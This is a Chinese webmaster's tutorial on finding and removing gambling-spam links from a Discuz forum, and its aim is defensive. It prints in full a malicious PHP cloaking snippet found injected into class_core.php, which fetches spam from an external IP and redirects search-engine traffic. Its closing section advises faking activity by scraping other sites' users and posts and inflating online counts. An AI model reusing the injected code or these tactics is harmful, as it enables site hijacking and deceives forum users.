本人亲测有效,原创文章哦~~~

  论坛黑链非常的麻烦,如果你的论坛有黑链,那么对不起,百度收录了你的黑链,不会自动删除,需要你手动去清理。

什么是黑链

  黑链,顾名思义,就是一些赌博网站的外链,这些黑链相当的麻烦,因为百度收录了它们,会降低你的百度权重,甚至K站,如果你用的是国内的空间或者域名,被查到了还可能封站,所以 这个非常的令人头疼,本文通过几个不同的角度,来告诉你怎么清黑链。

找到黑链的源头

  我们先要知道黑链的源头究竟在哪里?黑链就像蟑螂,蟑螂喜欢油烟子,喜欢待在厨房里,滋生在下水道里面,无孔不入。那么黑链也是一样,只要你不把源头堵住,那么,无论你再怎么清理,它还是会来的。以Discuz为例,我们来看看 黑链的源头在哪里。首先,我们必须知道,黑链是怎么形成的。黑链有几种形成方式。

  1. 论坛的漏洞
  2. 服务器FTP漏洞
  3. 外链漏洞(DISCUZ插件漏洞)
  4. 执行脚本漏洞
  5. 注册漏洞

  也许我概括得不太全面,不过基本上是由于这些原因形成的,我不说大话,我就以我现在碰到的漏洞跟大家说一下,我就以一个最常见的论坛注册漏洞跟大家说一下,大家多多少少也见过,或者接触过一种叫做注册机的东西,就是可以批量注册,当然,如果是站长主动想去注册的话,那没问题,因为批量注册用户,是一种提高论坛人气的好方法,但是如果是恶意的,为了发广告而注册的账号,那么就是不好的,所以大家都会用到一些插件,比如拖动滑块验证等。

  如果你的FTP密码泄露了,这个是最最麻烦的事情,因为人家都可以进你的云服务器了,你想下,他是不是可以为所欲为呢?那么他们是怎么进入你的云服务器的呢?在你神不知鬼不觉的情况下?我总结了如下原因:

  1. 撞库攻击;这个很常见,其实如果你在其他网站上用了同样的密码,而这个网站的密码是不安全的,那么你就可能成为受害者。
  2. 暴力破解;这个也常见,有专门的软件,可以进行暴力破解,所以设置密码的时候,必须要有大小写,而且没有规则的密码,是不容易被破解的,注意密码长度等。

  那么Discuz还有一种更NB的被破解的方式,就是直接注入 一段代码到你的PHP文件中,所以这时候,DISCUZ的文件对比功能就起效果了,文件对比功能,是对比你的FTP上的系统文件和DISCUZ官方的文件,看看有没有不同,通常来说,大部分文件,是不需要修改的,如果修改了,那就可以从这里找突破口,看看有没有蛛丝马迹。

  通过对比,果然发现有文件被篡改过,真是功夫不负有心人啊,在class_core.php中。

  注意最上方的一段代码,这里我把这段PHP粘贴过来,下面这段代码,会让你的网站的快照指向赌博网站的链接,并且,会生成很多很多的不存在的外链。

define('s_u','http://103.192.202.8:88/');
define('s_s','baidu|haosou.com|sogou|yahoo|gogle');
define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
if(eregi(s_s,r_s)){$d_s=true;if(eregi("site%3A|inurl%3A",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s && empty($_COOKIE['xx'])){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(eregi(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}
?>

  大家知道下一步是做什么吗?想想智商为负数的人都应该知道,就是把这段代码给删除掉,但是仅仅是删除掉吗?NO,下面的章节将会告诉你详细的操作。

 利用百度查询黑链规则

  如果我们想要删除黑链,首先必须知道黑链长什么样子,黑链很难自动被删掉,即使你把那些赌博链接的帖子从论坛里面删掉了,你会发现,黑链的快照依旧存储在百度的数据库里面,那么话不多说,给大家推荐一个网址,这个比使用site:www.kmsfan.com 要强多了。http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com 大家把最后的www.kmsfan.com 替换成自己网站的地址就行了。现在我们 来看看黑链 长什么样子。

  

  从上面的黑链举例来说,我们其实可以得到如下信息。

  1. 黑链入库时间
  2. 黑链的正则
  3. 黑链的名称

  从黑链的入库时间推算,这个黑链如果我们不主动清除的话,它是几乎 不可能消除的,而且会影响网站后续新帖子的收录。从黑链的正则来看,就是网站域名+thread-帖子ID+页数-1.html,如果大家没玩过DISCUZ的话,可能不知道Discuz论坛有一个伪静态的功能,这个帖子的问题就 在于,它的帖子ID不是正常的ID,因为我论坛总共就5000个帖子,哪来的那么大的ID。从黑链的名称上看,这个是一个赌博链接。

  再来看一看另一类黑链:

  我们打开它,看看是不是没有帖子:

  居然有正常的帖子 !!!这是为什么呢?黑链不指向404,而是一个正常的帖子,这个原因,我个人的看法是,论坛黑链形成的时间比较早,然后已经入了百度的数据库,当时我把这个带有黑链的帖子给删除了,然后过了一段时间,这个帖子的ID又被正常的帖子给占据了,但是因为百度已经默认为:你的网站有黑链,不刷新收录,所以这里看到的,是新的帖子,但是百度里面,还是带有赌博链接的旧的帖子。

利用工具Xenu检测黑链

  这个工具适用于黑链数较少的网站,可以手工清除的,首先我们要去检测链接:http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com,还是利用这个链接,当然了,后面的www.kmsfan.com可以换成你自己的网站的域名,注意勾选:检测外部链接。

  注意需要勾选:只显示无效的链接,由于Xenu是外国的,所以人家没有直接生成百度黑链规则的xml,所以只能通过WORD文档去修改了,这一点有点麻烦,而且网站黑链众多的时候,这个也很难做到完美清除。查询就讲到这里,下面会跟大家说说怎么删除黑链。

百度站长工具VS黑链

  上面说了这么多,终于进入本话题的重中之重:删除黑链,在删除黑链之前,大家还是需要修补好漏洞,另外告诉大家一个很难被发现的漏洞,大家用过Discuz的人肯定用过php,用过php的人,肯定用过phpMyAdmin这个工具;有人会说,这个工具有什么呢?我告诉大家,这个工具其实就是你在IIS上的一个站点,当你想操作数据库的时候,就要打开它,如果你不在使用后及时关闭这个站点的话,那么后果是灾难性的,我的站点因为这个原因,连管理员都被删除过。所以,大家一定要小心。

  闲话不多说,我们还是进入正题吧,百度站长工具其实是一个很好的东西,当然在使用前,你必须先验证你的站点,这个和在CNZZ上面加统计一个意思。先给大家放一张我删除黑链的成果图。

  哈哈,大家羡慕了吧,黑链虽然没有全部删完,但是还是成果颇丰的,那么大家会问,你用的什么方式删除的呢?那么快,那么有效果。

利用Robots.txt强力删除

  不了解的人也许会笑话我,不就是一个txt文件吗,有这么NB吗?我告诉你:有的,参加上图。那么这个Robots.txt究竟是何方神圣呢?先给大家看看我的Robots.txt

#
# robots.txt for Discuz! X3
# User-agent: *
Disallow: /api/
Disallow: /data/
Disallow: /source/
Disallow: /install/
Disallow: /template/
Disallow: /config/
Disallow: /uc_client/
Disallow: /uc_server/
Disallow: /static/
Disallow: /admin.php
Disallow: /search.php
Disallow: /member.php
Disallow: /api.php
Disallow: /misc.php
Disallow: /connect.php
Disallow: /forum.php?mod=redirect*
Disallow: /forum.php?mod=post*
Disallow: /home.php?mod=spacecp*
Disallow: /userapp.php?mod=app&*
Disallow: /*?mod=misc*
Disallow: /*?mod=attachment*
Disallow: /*mobile=yes*
Disallow: /forum.php?mod=viewthread&tid=*
Disallow: /forum.php/forum.php?mod=viewthread&tid=*
Disallow: /forum.php/thread-*-2-1.html
Disallow: /forum.php/thread-*-3-1.html
Disallow: /forum.php/thread-*-4-1.html

 其实Discuz已经默认有一个robots.txt了,我只是动了动手脚而已,嘿嘿,我加了如下代码:

Disallow: /forum.php?mod=viewthread&tid=*
Disallow: /forum.php/forum.php?mod=viewthread&tid=*
Disallow: /forum.php/thread-*--.html
Disallow: /forum.php/thread-*--.html
Disallow: /forum.php/thread-*--.html

   Disallow其实就是不让抓取以这个正则为模板的所有帖子,不过Robots不支持复杂的正则表达式,它非常的简单。大家写完了以后,需要上传并更新此文件,百度还提供了一个测试工具,你可以在线测试此正则是否有效;当然了,不是马上生效哦,估计要1~2个星期,才能起效果,所以,耐心等吧。

利用死链提交工具精确删除

  注意,此功能只针对404的链接,如果是因为快照没有更新而造成的收录不匹配,此方法无效。而且此方法只适用于死链较少的网站,这个需要配合Xenu工具,先把死链捞出来,然后使用XML或者TXT格式,上传死链链接。此方法我个人不太推荐,因为如果链接里面有“活的”链接,死链删除会失败。

  

恢复收录以及网站吸引人气的若干方法

  当死链都清除掉了(当然这是个漫长的过程),你需要的只是等待。当然,如果权重高的网站,那么它收录的也快一些,这个时候,你 就需要更多的帖子,更多的人,这样你的网站才会更加的健康和活跃,这样也吸引人气。关于网站吸引人气,如何吸引人气,我作为一个站长,想要驳斥一种观点:关系论。就是说,你可以去招募一大批人,作为写手,来提高网站原创性,不可否认,在网站基本健康的情况下,这个很重要,但是我觉得,关系论只适用于小众站长,因为很多网站没有那么多的活跃用户,也没有那么多写手,这个时候,作为站长来说,可以“虚拟”一些人气出来,我个人的建议(当然纯属个人建议,如果你觉得不妥,可以不这么做),所谓虚拟人气就是这些东西:

  1. 批量从其他网站抓取用户(当然这里只抓取基本的信息),然后作为会员导入
  2. 采集文章,帖子,回复,然后定时,定量去采集,回复,这样会让论坛看起来更加活跃
  3. 论坛可以虚拟一小部分在线用户,然后大批量虚拟游客的数量,自己去体会为什么。

总结

一句话概括:离开了需求,离开了用户,一个只会写代码的程序员,没有任何价值,至少,他不能创造价值。他至少需要懂一点点业务才行。

Discuz论坛黑链清理教程的更多相关文章

  1. discuz论坛插件设计学习培训视频全套教程

    discuz模板跟插件开发的教程比较少,特搜集给大家学习插件做的好,在dsicuz应用中心出 售也是可以卖不少的呢 教程目录:第1章  本章的标题第1节Discuz! X 产品安装与配置第2节模板风格 ...

  2. 百度云bae安装discuz论坛教程

    作者:孤风一剑   发布:2013-05-11 13:37   栏目:站长在线   点击:6,846次   41条评论 各位草根们有福啦,弄了几天,终于可以在bae上搭建discuz论坛了,下面我就简 ...

  3. LNMP环境搭建(discuz论坛)

    一.操作系统级环境及软件版本 操作系统:CentOS release 6.5 (Final)minimal 内核版本:2.6.32-431.el6.x86_64 MySQL版本:MySQL-5.6.2 ...

  4. 基于Centos搭建 Discuz 论坛

    系统要求:CentOS 6.8 64 位操作系统 搭建 Discuz 论坛 准备 LAMP 环境 LAMP 是 Linux.Apache.MySQL 和 PHP 的缩写,是 Discuz 论坛系统依赖 ...

  5. centos lamp/lnmp阶段复习 以后搬迁discuz论坛不需要重新安装,只需修改配置文件即可 安装wordpress 安装phpmyadmin 定时备份mysql两种方法 第二十五节课

    centos  lamp/lnmp阶段复习 以后搬迁discuz论坛不需要重新安装,只需修改配置文件即可 安装wordpress  安装phpmyadmin  定时备份mysql两种方法  第二十五节 ...

  6. seo外链发布之论坛外链

    目前最常见的seo外链方式有5种,之前大发迹创业项目网写文章分享过,详情可以查看文章<[网站SEO优化]最常见的五种软文外链发布方式!>,这篇文章不说其他的几种发外链,就来讲讲通过论坛建设 ...

  7. 【Microsoft Azure 的1024种玩法】三.基于Azure云平台构建Discuz论坛

    [简介] Discuz!是一套通用社区论坛软件系统,用户在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能.很强负载能力和可高度定制的论坛服务. [前期文章] [操作步骤] ...

  8. LNMP架构及DISCUZ论坛部署

    1)(5分)服务器IP地址规划:client:12.0.0.12/24,网关服务器:ens36:12.0.0.1/24.ens33:172.16.10.1/24,Web1:172.16.10.10/2 ...

  9. 实现Discuz论坛客户端应用源码

    通过使用该源码,开发者可以迅速地将Discuz论坛迁移到Android客户端中.不需要任何的开发工作即可拥有属于自己论坛的Android客户端 源码下载:http://code.662p.com/vi ...

随机推荐

  1. Akka.net路径里的user

    因为经常买双色球,嫌每次对彩票号麻烦,于是休息的时候做了个双色球兑奖的小程序,做完了发现业务还挺复杂的,于是改DDD重做设计,拆分服务,各种折腾...,不过这和本随笔没多大关系,等差不多了再总结一下, ...

  2. DDD 领域驱动设计-看我如何应对业务需求变化,愚蠢的应对?

    写在前面 阅读目录: 具体业务场景 业务需求变化 "愚蠢"的应对 消息列表实现 消息详情页实现 消息发送.回复.销毁等实现 回到原点的一些思考 业务需求变化,领域模型变化了吗? 对 ...

  3. [.NET] C# 知识回顾 - Event 事件

    C# 知识回顾 - Event 事件 [博主]反骨仔 [原文]http://www.cnblogs.com/liqingwen/p/6060297.html 序 昨天,通过<C# 知识回顾 - ...

  4. 基于AOP的MVC拦截异常让代码更优美

    与asp.net 打交道很多年,如今天微软的优秀框架越来越多,其中微软在基于mvc的思想架构,也推出了自己的一套asp.net mvc 框架,如果你亲身体验过它,会情不自禁的说‘漂亮’.回过头来,‘漂 ...

  5. web api接口同步和异步的问题

    一般来说,如果一个api 接口带上Task和 async 一般就算得上是异步api接口了. 如果我想使用异步api接口,一般的动机是我在我的方法里面可能使用Task.Run 进行异步的去处理一个耗时的 ...

  6. 初识的Spring Mvc-----原理

    一.Spring Mvc简介 Spring Mvc(Spring Web Mvc) 属于表现层的框架. 二.Spring结构图 Spring Mvc是Spring框架里面web模块的一部分,是在Spr ...

  7. iOS微信第三方登录实现

    iOS微信第三方登录实现   一.接入微信第三方登录准备工作.移动应用微信登录是基于OAuth2.0协议标准构建的微信OAuth2.0授权登录系统.在进行微信OAuth2.0授权登录接入之前,在微信开 ...

  8. ionic第二坑——ionic 上拉菜单(ActionSheet)安卓样式坑

    闲话不说,先上图: 这是IOS上的显示效果,代码如下: HTML部分: <body ng-app="starter" ng-controller="actionsh ...

  9. Linux 利用Google Authenticator实现ssh登录双因素认证

    1.介绍 双因素认证:双因素身份认证就是通过你所知道再加上你所能拥有的这二个要素组合到一起才能发挥作用的身份认证系统.双因素认证是一种采用时间同步技术的系统,采用了基于时间.事件和密钥三变量而产生的一 ...

  10. mono for android中使用dapper或petapoco对sqlite进行数据操作

    在mono for android中使用dapper或petapoco,很简单,新建android 类库项目,直接把原来的文件复制过来,对Connection连接报错部分进行注释和修改就可以运行了.( ...